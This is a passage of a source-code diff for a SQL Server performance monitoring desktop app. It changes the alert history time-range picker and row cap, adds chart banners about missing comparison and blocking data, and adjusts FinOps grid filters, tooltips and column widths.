+    /// <summary>The read's row cap (D7): the newest 500 alerts. The count text says "showing the newest 500" when the read
+    /// reached it (<see cref="JobHistoryCap.CountText(int, int, int, string)"/>).</summary>
+    internal const int RowCap = 500;
+
+    /// <summary>How many rows the last read returned, before any column filter: the cap belongs to the read.</summary>
+    private int _lastReadRowCount;
     private readonly DispatcherTimer _staleDataTimer;
 
     /* #4766: the clock of the open server tab for a server id, or null when that server has no tab open. */
@@ -55,6 +62,15 @@ public partial class AlertsHistoryTab : UserControl
     public AlertsHistoryTab()
     {
         InitializeComponent();
+        RangePicker.Value = TimeRangePresets.FromLegacyHours(24)!; /* 24 hours, as the list opened */
+        /* #5562 M1: typed times and calendar periods are read in the zone the Time column is worded in (the display mode), as the
+           Darling Viewer's Alert History does with its display zone. */
+        RangePicker.ZoneProvider = () => ServerTimeHelper.CurrentDisplayZone;
+        /* R8: "All" is a span of 365 days, longer than anything Lite keeps (archive files are deleted by whole month, 3 months
+           back, so rows older than 3 months survive until their month's file goes), through the shared control's longest choice. */
+        RangePicker.SetLongestChoice(LiteTimeRange.AlertHistoryLongestChoice, "All");
+        /* #5565: a cross-server list has one fixed filter scope, so its filters survive a restart. */
+        ColumnFilterScope.SetServer(this, ColumnFilterScope.AllServers);
         _staleDataTimer = new DispatcherTimer { Interval = TimeSpan.FromSeconds(10) };
         _staleDataTimer.Tick += StaleDataTimer_Tick;
     }
@@ -81,6 +97,24 @@ public async void RefreshAlerts()
         await LoadAlertsAsync();
     }
 
+    /// <summary>Puts one read's rows on the grid and writes the empty message, the clock header and the count text. Returns how many
+    /// rows the grid shows. Split out of the load so a test can drive it with rows (#5542 L6).</summary>
+    internal int ShowAlerts(List<AlertHistoryRow> alerts)
+    {
+        if (_filterManager != null)
+            _filterManager.UpdateData(alerts);
+        else
+            AlertsDataGrid.ItemsSource = alerts;
+
+        var displayCount = AlertsDataGrid.ItemsSource is ICollection<AlertHistoryRow> coll ? coll.Count : alerts.Count;
+        NoAlertsMessage.Visibility = displayCount == 0 ? Visibility.Visible : Visibility.Collapsed;
+        AlertTimeHeaderText.Text = TimeColumnTitle.For("Time", ServerTimeHelper.CurrentDisplayMode); // D5: the column names its clock
+        /* D7: the cap applies to the READ (alerts.Count), not to what a column filter leaves on screen. */
+        _lastReadRowCount = alerts.Count;
+        AlertCountIndicator.Text = JobHistoryCap.CountText(displayCount, _lastReadRowCount, RowCap, "alert(s)");
+        return displayCount;
+    }
+
     private async System.Threading.Tasks.Task LoadAlertsAsync()
     {
         if (_dataService == null) return;
@@ -92,7 +126,7 @@ private async System.Threading.Tasks.Task LoadAlertsAsync()
 
         try
         {
-            var hoursBack = GetSelectedHoursBack();
+            var (sinceUtc, untilUtc) = GetSelectedWindow();
             int? serverId = GetSelectedServerId();
 
             /* #4766: the rows and each server's collected clock come back from ONE hop off the UI thread, and the
@@ -100,7 +134,7 @@ private async System.Threading.Tasks.Task LoadAlertsAsync()
             var dataService = _dataService;
             var (alerts, collectedClocks) = await System.Threading.Tasks.Task.Run(async () =>
             {
-                var rows = await dataService.GetAlertHistoryAsync(hoursBack, 500, serverId);
+                var rows = await dataService.GetAlertHistoryWindowAsync(sinceUtc, untilUtc, serverId, RowCap);
                 return (rows, await ReadCollectedClocksAsync(dataService, rows));
             });
             if (_loads.Superseded(nameof(LoadAlertsAsync), gen)) return;
@@ -108,15 +142,8 @@ private async System.Threading.Tasks.Task LoadAlertsAsync()
             /* Back on the UI thread, where the open tabs can be asked for their clocks. */
             StampClocks(alerts, collectedClocks, _openTabClock);
 
-            if (_filterManager != null)
-                _filterManager.UpdateData(alerts);
-            else
-                AlertsDataGrid.ItemsSource = alerts;
-
-            var displayCount = AlertsDataGrid.ItemsSource is ICollection<AlertHistoryRow> coll ? coll.Count : alerts.Count;
-            NoAlertsMessage.Visibility = displayCount == 0 ? Visibility.Visible : Visibility.Collapsed;
-            AlertCountIndicator.Text = displayCount > 0 ? $"{displayCount} alert(s)" : "";
-            AppLogger.Debug("AlertsHistory", $"Loaded {displayCount} alert(s) (query returned {alerts.Count}, hoursBack={hoursBack}, serverId={serverId?.ToString() ?? "all"})");
+            var displayCount = ShowAlerts(alerts);
+            AppLogger.Debug("AlertsHistory", $"Loaded {displayCount} alert(s) (query returned {alerts.Count}, since={sinceUtc:O}, until={(untilUtc.HasValue ? untilUtc.Value.ToString("O") : "now")}, serverId={serverId?.ToString() ?? "all"})");
 
             _lastRefreshed = DateTime.UtcNow;
             UpdateStaleDataIndicator();
@@ -233,12 +260,9 @@ private void PopulateServerFilter(List<AlertHistoryRow> alerts)
         ServerFilterComboBox.SelectionChanged += ServerFilterComboBox_SelectionChanged;
     }
 
-    private int GetSelectedHoursBack()
-    {
-        if (TimeRangeComboBox.SelectedItem is ComboBoxItem item && item.Tag is string tagStr)
-            return int.TryParse(tagStr, out var hours) ? hours : 24;
-        return 24;
-    }
+    /// <summary>The picker's window for the read and for Dismiss All (#5562): the start and, for a range that has finished, its exclusive end (null while it runs to now).</summary>
+    private (DateTime sinceUtc, DateTime? untilUtc) GetSelectedWindow()
+        => LiteTimeRange.BoundsOf(RangePicker, 24, DateTime.UtcNow);
 
     private int? GetSelectedServerId()
     {
@@ -286,7 +310,15 @@ private void FilterPopup_FilterApplied(object? sender, FilterAppliedEventArgs e)
         if (_filterPopup != null)
             _filterPopup.IsOpen = false;
 
-        _filterManager?.SetFilter(e.FilterState);
+        ApplyColumnFilter(e.FilterState);
+    }
+
+    /// <summary>Applies a column filter, then rebuilds the count text from what the grid now shows and the last read's size (the
+    /// Viewer's tab does the same). The popup's Clear button raises FilterApplied with an empty filter, so clearing comes through here too (#5542 L6).</summary>
+    internal void ApplyColumnFilter(ColumnFilterState filterState)
+    {
+        _filterManager?.SetFilter(filterState);
+        AlertCountIndicator.Text = JobHistoryCap.CountText(AlertsDataGrid.Items.Count, _lastReadRowCount, RowCap, "alert(s)");
     }
 
     private void FilterPopup_FilterCleared(object? sender, EventArgs e)
@@ -332,7 +364,7 @@ private void UpdateStaleDataIndicator()
 
     #region Event Handlers
 
-    private async void TimeRangeComboBox_SelectionChanged(object sender, SelectionChangedEventArgs e)
+    private async void RangePicker_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
         if (IsLoaded)
             await LoadAlertsAsync();
@@ -458,9 +490,10 @@ private async void DismissAll_Click(object sender, RoutedEventArgs e)
 
         try
         {
-            var hoursBack = GetSelectedHoursBack();
+            /* The same window the grid read (#5562): a range that ended in the past dismisses only the rows up to its end. */
+            var (sinceUtc, untilUtc) = GetSelectedWindow();
             int? serverId = GetSelectedServerId();
-            var affected = await System.Threading.Tasks.Task.Run(() => _dataService.DismissAllVisibleAlertsAsync(hoursBack, serverId));
+            var affected = await System.Threading.Tasks.Task.Run(() => _dataService.DismissAllVisibleAlertsWindowAsync(sinceUtc, untilUtc, serverId));
             if (affected < liveCount && App.LogAlertDismissals)
             {
                 AppLogger.Warn("AlertsHistory", $"Dismiss all: only {affected} of {liveCount} live alert(s) were updated");
diff --git a/Lite/Controls/AvailabilityGroupsTab.xaml.cs b/Lite/Controls/AvailabilityGroupsTab.xaml.cs
index d0faedadcb..8a58f55d2e 100644
--- a/Lite/Controls/AvailabilityGroupsTab.xaml.cs
+++ b/Lite/Controls/AvailabilityGroupsTab.xaml.cs
@@ -71,7 +71,11 @@ private async Task LoadAsync()
         _loading = true;
         try
         {
-            var cards = await _dataService.GetAgTopologyAsync();
+            /* #5457: off the UI thread. The read takes the store lock before it opens a connection and DuckDB.NET's
+               async completes synchronously, so awaited here it waits on that lock, and then runs the whole query,
+               on the dispatcher. Task.Run keeps the lock enter and exit on a pool thread (see ServerTab.BlockChain). */
+            var dataService = _dataService;
+            var cards = await Task.Run(() => dataService.GetAgTopologyAsync());
 
             /* Same rows as the last render — skip reconciling and re-binding entirely (#4238). */
             var digest = AgTopology.ComputeDigest(cards);
diff --git a/Lite/Controls/CorrelatedTimelineLanesControl.xaml b/Lite/Controls/CorrelatedTimelineLanesControl.xaml
index f0f18715e9..f4359e41c7 100644
--- a/Lite/Controls/CorrelatedTimelineLanesControl.xaml
+++ b/Lite/Controls/CorrelatedTimelineLanesControl.xaml
@@ -23,6 +23,12 @@
                        FontSize="12" FontWeight="SemiBold"
                        Foreground="{DynamicResource ForegroundBrush}" Margin="4,0"/>
             <ScottPlot:WpfPlot Grid.Column="1" x:Name="CpuChart"/>
+            <!-- Release walk V12d: said when Compare found nothing in the comparison window, so a missing dashed line is explained. -->
+            <TextBlock Grid.Column="1" x:Name="ComparisonEmptyBanner" Visibility="Collapsed" IsHitTestVisible="False"
+                       HorizontalAlignment="Right" VerticalAlignment="Top" Margin="0,4,12,0"
+                       Padding="8,1" FontSize="11" FontWeight="Bold"
+                       Foreground="{DynamicResource ForegroundBrush}"
+                       Background="#22FFAA00"/>
         </Grid>
 
         <!-- Lane 2: Wait Stats -->
@@ -43,14 +49,25 @@
                 <ColumnDefinition Width="100"/>
                 <ColumnDefinition Width="*"/>
             </Grid.ColumnDefinitions>
-            <TextBlock Grid.Column="0" VerticalAlignment="Center"
+            <Grid.RowDefinitions>
+                <!-- The "Showing since" note: Auto, so a hidden note gives the whole chart back to the chart. -->
+                <RowDefinition Height="Auto"/>
+                <RowDefinition Height="*"/>
+            </Grid.RowDefinitions>
+            <TextBlock Grid.Row="0" Grid.Column="1" x:Name="BlockingLaneDataStartBanner" Visibility="Collapsed"
+                       Padding="8,1" FontSize="11" FontWeight="Bold"
+                       Foreground="{DynamicResource ForegroundBrush}"
+                       Background="#22FFAA00"/>
+            <TextBlock Grid.Row="0" Grid.RowSpan="2" Grid.Column="0" VerticalAlignment="Center"
                        FontSize="12" FontWeight="SemiBold"
                        Foreground="{DynamicResource ForegroundBrush}" Margin="4,0">
                 <Run Text="Blocking &amp;"/>
                 <LineBreak/>
                 <Run Text="Deadlocking"/>
+                <LineBreak/>
+                <Run Text="events"/>
             </TextBlock>
-            <ScottPlot:WpfPlot Grid.Column="1" x:Name="BlockingChart"/>
+            <ScottPlot:WpfPlot Grid.Row="1" Grid.Column="1" x:Name="BlockingChart"/>
         </Grid>
 
         <!-- Lane 4: Buffer Pool -->
@@ -71,7 +88,7 @@
                 <ColumnDefinition Width="100"/>
                 <ColumnDefinition Width="*"/>
             </Grid.ColumnDefinitions>
-            <TextBlock Grid.Column="0" Text="I/O Latency" VerticalAlignment="Center"
+            <TextBlock Grid.Column="0" Text="I/O Latency ms" VerticalAlignment="Center"
                        FontSize="12" FontWeight="SemiBold"
                        Foreground="{DynamicResource ForegroundBrush}" Margin="4,0"/>
             <ScottPlot:WpfPlot Grid.Column="1" x:Name="FileIoChart"/>
diff --git a/Lite/Controls/CorrelatedTimelineLanesControl.xaml.cs b/Lite/Controls/CorrelatedTimelineLanesControl.xaml.cs
index a65d08e2fd..8fb262a285 100644
--- a/Lite/Controls/CorrelatedTimelineLanesControl.xaml.cs
+++ b/Lite/Controls/CorrelatedTimelineLanesControl.xaml.cs
@@ -195,6 +195,10 @@ public async Task RefreshAsync(int hoursBack, DateTime? fromDate, DateTime? toDa
         try
         {
             _crosshairManager?.PrepareForRefresh();
+            ComparisonEmptyBanner.Visibility = Visibility.Collapsed;
+
+            /* #4966: the UTC window the blocking and deadlock reads below take (their own GetTimeRange call), for the data-start note. */
+            var (windowStartUtc, windowEndUtc) = LocalDataService.GetTimeRange(hoursBack, fromDate, toDate, asOfUtc: null);
 
             var cpuTask = Task.Run(() => _dataService.GetCpuUtilizationAsync(_serverId, hoursBack, fromDate, toDate, frame: CpuTimeFrame.Utc));
             var waitTask = Task.Run(() => _dataService.GetTotalWaitTrendAsync(_serverId, hoursBack, fromDate, toDate));
@@ -273,7 +277,7 @@ await Task.WhenAll(cpuTask, waitTask, blockingTask, deadlockTask, memoryTask, fi
                 var ioGrouped = fileIoTask.Result
                     .GroupBy(d => d.CollectionTime)
                     .OrderBy(g => g.Key)
-                    .Select(g => (g.Key.ToOADate(), g.Average(x => x.AvgReadLatencyMs)))
+                    .Select(g => (g.Key.ToOADate(), IoLatencyWeighting.Weighted(g.Select(x => (x.AvgReadLatencyMs, x.Reads)))))
                     .ToList();
                 UpdateLane(FileIoChart, "I/O ms", ioGrouped, "#81C784", baseline: ioBaseline, minAnomalyValue: 2);
             }
@@ -333,11 +337,23 @@ Each ghost row goes back onto the current axis by the same rule in reverse (Time
                     var refIo = refIoTask.Result
                         .GroupBy(d => d.CollectionTime)
                         .OrderBy(g => g.Key)
-                        .Select(g => (TimeWindows.GhostX(g.Key, days, zone).ToOADate(), g.Average(x => x.AvgReadLatencyMs)))
+                        .Select(g => (TimeWindows.GhostX(g.Key, days, zone).ToOADate(), IoLatencyWeighting.Weighted(g.Select(x => (x.AvgReadLatencyMs, x.Reads)))))
                         .ToList();
                     AddGhostLine(FileIoChart, refIo, "#81C784");
                 }
 
+                /* Release walk V12d: a comparison window the store holds nothing for (a store newer than the offset) drew no
+                   line and said nothing. When every read came back, and every one was empty, the chart says so. A read that
+                   failed is logged above and is not "no data". */
+                if (refCpuTask.IsCompletedSuccessfully && refWaitTask.IsCompletedSuccessfully && refBlockingTask.IsCompletedSuccessfully
+                    && refMemoryTask.IsCompletedSuccessfully && refIoTask.IsCompletedSuccessfully
+                    && ComparisonHasNoData(refCpuTask.Result?.Count ?? 0, refWaitTask.Result?.Count ?? 0, refBlockingTask.Result?.Count ?? 0,
+                        refMemoryTask.Result?.Count ?? 0, refIoTask.Result?.Count ?? 0))
+                {
+                    ComparisonEmptyBanner.Text = ComparisonEmptyText(days);
+                    ComparisonEmptyBanner.Visibility = Visibility.Visible;
+                }
+
                 // Register reference data with crosshair manager for tooltip
                 _crosshairManager?.SetComparisonLabel(ComparisonLabel(days));
             }
@@ -346,6 +362,14 @@ Each ghost row goes back onto the current axis by the same rule in reverse (Time
                the render set when the chart refreshes. */
             _crosshairManager?.ReattachVLines();
             SyncXAxes(hoursBack, fromDate, toDate);
+
+            /* #4966: the blocking chart draws event counts, so an empty stretch reads as "nothing happened" and the chart says
+               where its data starts. The note comes last, after every lane and the ghost lines are drawn and synced, and on its
+               own: the probes are not part of the reads' WhenAll above, and a probe that fails costs the note, never the bars. */
+            await ShowBlockingLaneDataStartAsync(
+                windowStartUtc, windowEndUtc,
+                blockingTask.IsCompletedSuccessfully ? blockingTask.Result : [],
+                deadlockTask.IsCompletedSuccessfully ? deadlockTask.Result : []);
         }
         finally
         {
@@ -357,6 +381,33 @@ the render set when the chart refreshes. */
         }
     }
 
+    /// <summary>Raised with the data start the blocking lane's note chose (#5562 R7), so the tab's picker can name it. Null when the note found none.</summary>
+    internal event Action<DateTime?>? DataStartFound;
+
+    /// <summary>
+    /// Raises or hides the blocking chart's "Showing since" note (#4966). The chart's two series, blocking and deadlocks, are
+    /// event counts: an empty stretch before a series starts reads as "nothing happened". A window of 90 minutes or less
+    /// starts no probe (<see cref="ServerTab.ProbeWindowFloorOrNullAsync"/>). The text goes through the shared banner step in
+    /// the lanes' own clock (<c>_displayZone</c>, which is the tab's <c>GetPickerZone</c>), to the second.
+    /// </summary>
+    private async Task ShowBlockingLaneDataStartAsync(
+        DateTime startUtc, DateTime endUtc, IReadOnlyList<TrendPoint> blockingBars, IReadOnlyList<TrendPoint> deadlockBars)
+    {
+        await LiteBlockingLaneDataStart.ShowAsync(
+            BlockingLaneDataStartBanner,
+            relation => Task.Run(() => _dataService!.GetQueryWindowFloorAsync(relation, _serverId, startUtc, endUtc)),
+            startUtc, endUtc, blockingBars, deadlockBars, _displayZone(),
+            blockingReadTookXe: () => Task.Run(() => _dataService!.HasBlockedProcessReportsInWindowAsync(_serverId, startUtc, endUtc)),
+            xeOnlyBlockingFloorOf: () => Task.Run(() => _dataService!.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, _serverId, startUtc, endUtc, includeAlsoCovered: false)),
+            earliestReportOf: () => Task.Run(() => _dataService!.GetEarliestBlockedProcessReportInWindowAsync(_serverId, startUtc, endUtc)),
+            thresholdOf: () => Task.Run(async () =>
+            {
+                var (on, first, zero) = await _dataService!.GetBlockedProcessThresholdOnAsync(_serverId, startUtc, endUtc);
+                return new LiteBlockingLaneDataStart.BlockedProcessThreshold(on, first, zero);
+            }),
+            onStartChosen: start => DataStartFound?.Invoke(start));
+    }
+
     private void UpdateBlockingLane(List<(double Time, double Value)> blockingData,
         List<(double Time, double Value)> deadlockData, BaselineBucket? baseline = null)
     {
@@ -690,6 +741,14 @@ private static void AddGhostLine(ScottPlot.WPF.WpfPlot chart,
         chart.Refresh();
     }
 
+    /// <summary>True when none of the comparison window's reads returned a row, so no ghost line can be drawn on any lane.</summary>
+    internal static bool ComparisonHasNoData(int cpuRows, int waitRows, int blockingRows, int memoryRows, int ioRows)
+        => cpuRows == 0 && waitRows == 0 && blockingRows == 0 && memoryRows == 0 && ioRows == 0;
+
+    /// <summary>What the chart says when the comparison window holds no data, in the same words as <see cref="ComparisonLabel"/>.</summary>
+    internal static string ComparisonEmptyText(int days)
+        => $"No comparison line: no data was collected for the same hours {(days == 1 ? "yesterday" : days == 7 ? "last week" : $"{days:N0} days earlier")}";
+
     /// <summary>The words the crosshair tooltip puts beside a ghost line: how many whole days it is moved by.</summary>
     internal static string ComparisonLabel(int days)
     {
diff --git a/Lite/Controls/FinOpsTab.Locking.cs b/Lite/Controls/FinOpsTab.Locking.cs
index d4a535fa8e..d1371fa238 100644
--- a/Lite/Controls/FinOpsTab.Locking.cs
+++ b/Lite/Controls/FinOpsTab.Locking.cs
@@ -48,7 +48,9 @@ private async Task PopulateLockingDbSelectorAsync(int serverId)
 
         try
         {
-            var dbs = await Task.Run(() => _dataService.GetIndexLockingDatabasesAsync(serverId));
+            /* #5312: the box lists only databases inside the saved database filter. */
+            var lockingFilter = SelectedDatabaseFilter();
+            var dbs = await Task.Run(() => _dataService.GetIndexLockingDatabasesAsync(serverId, lockingFilter));
             if (_loads.Superseded(nameof(PopulateLockingDbSelectorAsync), gen)) return;
             var items = new List<string> { "All databases" };
             items.AddRange(dbs);
@@ -77,7 +79,9 @@ private async Task LoadIndexLockingGridAsync(int serverId)
         try
         {
             var db = SelectedLockingDb();
-            var data = await Task.Run(() => _dataService.GetIndexLockingAsync(serverId, 200, db));
+            /* #5312: the saved database filter and the box both apply. */
+            var lockingFilter = SelectedDatabaseFilter();
+            var data = await Task.Run(() => _dataService.GetIndexLockingAsync(serverId, 200, db, lockingFilter));
             if (_loads.Superseded(nameof(LoadIndexLockingGridAsync), gen)) return;
             ApplyLockingHeat(data);
             _indexLockingFilterMgr!.UpdateData(data);
@@ -88,7 +92,7 @@ private async Task LoadIndexLockingGridAsync(int serverId)
             string? optimizedLockingNote = null;
             try
             {
-                optimizedLockingNote = await Task.Run(() => _dataService.GetOptimizedLockingNoteAsync(serverId));
+                optimizedLockingNote = await Task.Run(() => _dataService.GetOptimizedLockingNoteAsync(serverId, db, lockingFilter));
             }
             catch (Exception noteEx)
             {
diff --git a/Lite/Controls/FinOpsTab.ObjectHeatmap.cs b/Lite/Controls/FinOpsTab.ObjectHeatmap.cs
index 1fcd59ebf0..37cb29afd9 100644
--- a/Lite/Controls/FinOpsTab.ObjectHeatmap.cs
+++ b/Lite/Controls/FinOpsTab.ObjectHeatmap.cs
@@ -17,6 +17,7 @@
 using System.Windows.Media;
 using PerformanceMonitor.Common;
 using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Helpers;
 using PerformanceMonitorLite.Services;
 
 namespace PerformanceMonitorLite.Controls;
@@ -44,13 +45,9 @@ private enum StorageDrillLevel { Parent, Objects, Indexes }
     private TextBlock? _objHeatmapPopupText;
     private DateTime _lastObjHeatmapHover;
 
-    private int GetObjectHeatmapDaysBack() => ObjectHeatmapWindowCombo?.SelectedIndex switch
-    {
-        0 => 7,
-        1 => 30,
-        2 => 90,
-        _ => 30
-    };
+    /// <summary>The heatmap reads whole days (#5562): the picker's range rounded up to days, at least 1; 30 when it cannot be used right now.</summary>
+    private int GetObjectHeatmapDaysBack() =>
+        Math.Max(1, (int)Math.Ceiling(LiteTimeRange.HoursBackOf(ObjectHeatmapWindowPicker, 720) / 24.0));
 
     /// <summary>Resets the Storage Growth drill back to the per-database parent view (server change / refresh).</summary>
     private void ResetStorageDrill()
@@ -68,7 +65,7 @@ private void ShowStorageView(StorageDrillLevel level)
 
         StorageBackButton.Visibility = level == StorageDrillLevel.Parent ? Visibility.Collapsed : Visibility.Visible;
         var windowVisible = level == StorageDrillLevel.Objects ? Visibility.Visible : Visibility.Collapsed;
-        ObjectHeatmapWindowCombo.Visibility = windowVisible;
+        ObjectHeatmapWindowPicker.Visibility = windowVisible;
         ObjectHeatmapWindowLabel.Visibility = windowVisible;
 
         StorageBreadcrumb.Text = level switch
@@ -105,7 +102,7 @@ private void StorageGrowthBack_Click(object sender, RoutedEventArgs e)
             ShowStorageView(StorageDrillLevel.Parent);
     }
 
-    private async void ObjectHeatmapWindow_Changed(object sender, SelectionChangedEventArgs e)
+    private async void ObjectHeatmapWindow_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded || _dataService == null) return;
         if (_storageLevel != StorageDrillLevel.Objects || string.IsNullOrEmpty(_objDrillDb)) return;
diff --git a/Lite/Controls/FinOpsTab.xaml b/Lite/Controls/FinOpsTab.xaml
index 57f3a152d5..a5c5149796 100644
--- a/Lite/Controls/FinOpsTab.xaml
+++ b/Lite/Controls/FinOpsTab.xaml
@@ -106,7 +106,15 @@
             <TextBlock Text="Server:" VerticalAlignment="Center" Margin="0,0,6,0"
                        FontWeight="SemiBold" Foreground="{DynamicResource ForegroundBrush}"/>
             <ComboBox x:Name="ServerSelector" Width="260" DisplayMemberPath="DisplayNameWithIntent"
-                      SelectionChanged="ServerSelector_SelectionChanged"/>
+                      AutomationProperties.Name="Server"
+                      SelectionChanged="ServerSelector_SelectionChanged">
+                <!-- A screen reader announces each item (and the selection) by the server's name, not the model's type name. -->
+                <ComboBox.ItemContainerStyle>
+                    <Style TargetType="ComboBoxItem" BasedOn="{StaticResource {x:Type ComboBoxItem}}">
+                        <Setter Property="AutomationProperties.Name" Value="{Binding DisplayNameWithIntent, Mode=OneTime}"/>
+                    </Style>
+                </ComboBox.ItemContainerStyle>
+            </ComboBox>
         </StackPanel>
 
         <TabControl Grid.Row="1" Background="Transparent" BorderThickness="0">
@@ -131,11 +139,16 @@
                                Foreground="{DynamicResource ForegroundMutedBrush}"/>
                 </StackPanel>
 
-                <!-- No Data Message -->
-                <TextBlock x:Name="RecommendationsNoDataMessage" Grid.Row="1"
-                           Text="No recommendations — all checks passed or insufficient data for analysis."
-                           Margin="10,0" Visibility="Collapsed"
-                           Foreground="{DynamicResource ForegroundMutedBrush}" FontStyle="Italic"/>
+                <!-- Skipped-databases note (#5558) and the no-data message share the row -->
+                <StackPanel Grid.Row="1">
+                    <TextBlock x:Name="RecommendationsSecondaryNoteText" Visibility="Collapsed" TextWrapping="Wrap"
+                               Margin="10,0,10,4" FontSize="11" FontStyle="Italic"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="RecommendationsNoDataMessage"
+                               Text="No recommendations — all checks passed or insufficient data for analysis."
+                               Margin="10,0" Visibility="Collapsed"
+                               Foreground="{DynamicResource ForegroundMutedBrush}" FontStyle="Italic"/>
+                </StackPanel>
 
                 <!-- Recommendations DataGrid -->
                 <DataGrid x:Name="RecommendationsDataGrid"
@@ -173,11 +186,35 @@
                         </DataGridTextColumn>
                         <DataGridTextColumn Header="Confidence" Binding="{Binding Confidence}" MinWidth="90" Width="Auto"/>
                         <DataGridTextColumn Header="Finding" Binding="{Binding Finding}" MinWidth="250" Width="Auto"/>
-                        <DataGridTextColumn Header="Detail" Binding="{Binding Detail}" MinWidth="400" Width="*"/>
-                        <DataGridTextColumn Header="Est. Savings ($/mo)" Binding="{Binding EstMonthlySavingsDisplay}" MinWidth="110" Width="Auto" SortMemberPath="EstMonthlySavings">
+                        <!-- Detail wraps instead of running off the column edge, with the full text in a tooltip. -->
+                        <DataGridTextColumn Header="Detail" Binding="{Binding Detail}" MinWidth="400" Width="*">
+                                <DataGridTextColumn.HeaderStyle>
+                                    <Style TargetType="DataGridColumnHeader" BasedOn="{StaticResource {x:Type DataGridColumnHeader}}">
+                                        <Setter Property="ToolTip" Value="The full finding text: what was found and why it matters. Hover a row to read it in full."/>
+                                    </Style>
+                                </DataGridTextColumn.HeaderStyle>
+                            <DataGridTextColumn.ElementStyle>
+                                <Style TargetType="TextBlock">
+                                    <Setter Property="TextWrapping" Value="Wrap"/>
+                                    <Setter Property="ToolTip" Value="{Binding Detail}"/>
+                                </Style>
+                            </DataGridTextColumn.ElementStyle>
+                        </DataGridTextColumn>
+                        <!-- No savings estimate (no monthly cost set for the server) reads as a dash with a tooltip naming the setting. -->
+                        <DataGridTextColumn Header="Est. Savings ($/mo)" Binding="{Binding EstMonthlySavings, StringFormat='${0:N0}', TargetNullValue='-'}" MinWidth="110" Width="Auto" SortMemberPath="EstMonthlySavings">
+                                <DataGridTextColumn.HeaderStyle>
+                                    <Style TargetType="DataGridColumnHeader" BasedOn="{StaticResource {x:Type DataGridColumnHeader}}">
+                                        <Setter Property="ToolTip" Value="Estimated monthly savings in dollars if the finding is acted on, from this server's Monthly Cost. A dash means no estimate: no monthly cost is set."/>
+                                    </Style>
+                                </DataGridTextColumn.HeaderStyle>
                             <DataGridTextColumn.ElementStyle>
                                 <Style TargetType="TextBlock">
                                     <Setter Property="HorizontalAlignment" Value="Right"/>
+                                    <Style.Triggers>
+                                        <DataTrigger Binding="{Binding EstMonthlySavings}" Value="{x:Null}">
+                                            <Setter Property="ToolTip" Value="No estimate: set this server's Monthly Cost ($) in the Edit SQL Server dialog to see estimated savings."/>
+                                        </DataTrigger>
+                                    </Style.Triggers>
                                 </Style>
                             </DataGridTextColumn.ElementStyle>
                         </DataGridTextColumn>
@@ -453,16 +490,16 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Header="Avg CPU %" Binding="{Binding AvgCpuPct, StringFormat='{}{0:N1}'}" Width="90">
+                            <DataGridTextColumn Header="Avg CPU %" Binding="{Binding AvgCpuPct, StringFormat='{}{0:N1}'}" Width="95">
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Header="P95 CPU %" Binding="{Binding P95CpuPct, StringFormat='{}{0:N1}'}" Width="90">
+                            <DataGridTextColumn Header="P95 CPU %" Binding="{Binding P95CpuPct, StringFormat='{}{0:N1}'}" Width="95">
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Header="Max CPU %" Binding="{Binding MaxCpuPct}" Width="90">
+                            <DataGridTextColumn Header="Max CPU %" Binding="{Binding MaxCpuPct}" Width="100">
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Header="Mem Ratio" Binding="{Binding MemoryRatio, StringFormat='{}{0:N2}'}" Width="90">
+                            <DataGridTextColumn Header="Mem Ratio" Binding="{Binding MemoryRatio, StringFormat='{}{0:N2}'}" Width="95">
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
                         </DataGrid.Columns>
@@ -496,17 +533,17 @@
                               LoadingRow="MarkedGrid_LoadingRow">
                                     <DataGrid.Columns>
                                         <DataGridTextColumn Header="Database" Binding="{Binding DatabaseName}" Width="*"/>
-                                        <DataGridTextColumn Header="CPU %" Binding="{Binding PctCpu, StringFormat='{}{0:N1}'}" Width="60">
+                                        <DataGridTextColumn Header="CPU %" Binding="{Binding PctCpu, StringFormat='{}{0:N1}'}" Width="70">
                                             <DataGridTextColumn.ElementStyle>
                                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                                             </DataGridTextColumn.ElementStyle>
                                         </DataGridTextColumn>
-                                        <DataGridTextColumn Header="IO %" Binding="{Binding PctIo, StringFormat='{}{0:N1}'}" Width="55">
+                                        <DataGridTextColumn Header="IO %" Binding="{Binding PctIo, StringFormat='{}{0:N1}'}" Width="60">
                                             <DataGridTextColumn.ElementStyle>
                                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                                             </DataGridTextColumn.ElementStyle>
                                         </DataGridTextColumn>
-                                        <DataGridTextColumn Header="CPU (ms)" Binding="{Binding CpuTimeMs, StringFormat='{}{0:N0}'}" Width="80">
+                                        <DataGridTextColumn Header="CPU (ms)" Binding="{Binding CpuTimeMs, StringFormat='{}{0:N0}'}" Width="85">
                                             <DataGridTextColumn.ElementStyle>
                                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                                             </DataGridTextColumn.ElementStyle>
@@ -532,12 +569,12 @@
                               LoadingRow="MarkedGrid_LoadingRow">
                                     <DataGrid.Columns>
                                         <DataGridTextColumn Header="Database" Binding="{Binding DatabaseName}" Width="*"/>
-                                        <DataGridTextColumn Header="Avg CPU (ms)" Binding="{Binding CpuTimeMs, StringFormat='{}{0:N2}'}" Width="95">
+                                        <DataGridTextColumn Header="Avg CPU (ms)" Binding="{Binding CpuTimeMs, StringFormat='{}{0:N2}'}" Width="110">
